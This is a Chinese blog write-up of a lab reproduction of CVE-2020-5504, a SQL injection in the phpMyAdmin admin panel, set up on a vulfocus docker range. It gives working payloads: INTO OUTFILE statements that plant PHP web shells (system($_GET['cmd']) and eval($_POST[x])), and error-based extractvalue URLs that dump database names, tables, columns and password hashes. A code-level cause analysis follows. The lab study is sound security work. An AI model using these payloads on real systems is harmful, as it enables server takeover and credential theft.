首页 > 数据库 >phpMyAdmin后台SQL注入【CVE-2020-5504】

phpMyAdmin后台SQL注入【CVE-2020-5504】

时间:2022-10-23 17:55:13浏览次数:89  
标签:username phpMyAdmin 0x7e server 2020 pma SQL php concat

环境搭建

使用vulfocus靶场,官网:https://vulfocus.cn/#/dashboard

docker pull vulfocus/phpmyadmin-cve_2020_5504
docker run -d -p 80:80 vulfocus/phpmyadmin-cve_2020_5504


写马法

先查一下mysql的路径


最终通过SELECT load_file('/var/www/html/pma/index.php');,有返回,进而最终判断网站绝对路径为/var/www/html/pma

写入一句话

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/test.php'

SELECT "<?php @eval($_POST[x]);?>" into outfile '/var/www/html/pma/test.php';



连接蚁剑

总结:此法有难度的地方在于怎么找网站的绝对路径,然后再写入一句话木马

报错注入法

登陆后,抓包记录一下token

注入位置

  • 页面位置server_privileges.php;
  • 设置变量ajax_requests为true;
  • 设置变量validate_username 为真值;
  • 设置变量username 为我们拼接的注入语句。
http://192.168.2.104/pma/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token值&viewing_mode=server
执行完毕后程序只会告知SQL是否执行成功,失败会报错,因此此处我们可以利用报错注入。


http://192.168.2.104/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=token值&viewing_mode=server


之后就是通过报错注入爆出数据了

求数据库
http://192.168.2.104/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select database()),0x7e))--+db=&token=252448515a51452224777d6f43323a7c&viewing_mode=server

求表
extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e))
这里求出来的表因为extractvalue()能查询字符串的最大长度为32,所以我们需要多次修改参数从而求出所有的表,也可以使用burpsuite进行爆破

求列
extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),1,32),0x7e))
同样需要多次修改参数

求字段
extractvalue(1,concat(0x7e,substring((select group_concat(Password) from user),1,32),0x7e))
求出字段为 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 此处使用的加密方式是mysql5,解密后为123456

原理

参考:【CVE-2020-5504】phpMyAdmin后台SQL注入

定位到文件libraries/server_privileges.lib.php,此处就是SQL注入存在点,username和validate_username都可控,我们往上回溯定位if所在的函数。

可以看到if处于PMA_getExtraDataForAjaxBehavior函数内。

跳转到文件server_privileges.php可以看到$extra_data触发了此函数,处于一个if内,下一步快捷键ctrl+shift+F全局搜索变量**is_ajax_request,看看是否可控让其为真值。

跳转到文件libraries/common.inc.php这里有可控变量ajax_request只要给它附true就可以返回true了。

标签:username,phpMyAdmin,0x7e,server,2020,pma,SQL,php,concat
From: https://www.cnblogs.com/-ggbond-/p/16819021.html

相关文章